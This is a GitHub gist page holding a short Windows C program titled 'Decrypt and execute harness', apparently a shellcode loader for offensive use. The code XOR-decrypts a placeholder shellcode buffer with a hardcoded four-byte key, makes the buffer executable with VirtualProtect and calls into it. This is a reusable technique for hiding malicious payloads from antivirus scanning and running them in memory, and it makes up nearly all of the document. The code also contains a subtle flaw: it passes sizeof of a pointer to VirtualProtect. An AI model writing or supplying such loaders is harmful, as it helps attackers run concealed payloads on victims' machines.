Skip to content

Instantly share code, notes, and snippets.

@multiplex3r
Created August 31, 2017 02:35
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save multiplex3r/a14b8c0199b488a58022a16b738f2c27 to your computer and use it in GitHub Desktop.
Save multiplex3r/a14b8c0199b488a58022a16b738f2c27 to your computer and use it in GitHub Desktop.
Decrypt and execute harness
#include <windows.h>
unsigned char buf[] =
"your"
"encrypted"
"shellcode"
"here";
char* decryptPayload(){
char key[] = { 0xDE, 0xAD, 0xBE, 0xEF };
char* decrypted = malloc(sizeof(buf) + 50);
if (decrypted != NULL){
for(int i = 0; i < sizeof(buf); i++){
decrypted[i] = buf[i] ^ key[i % 4];
};
}
return decrypted;
}
void executePayload(char* decrypted){
DWORD pewpewpew;
VirtualProtect(decrypted, sizeof(decrypted),PAGE_EXECUTE_READWRITE, &pewpewpew);
((void (*)(void))decrypted)();
}
void main(){
executePayload(decryptPayload());
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment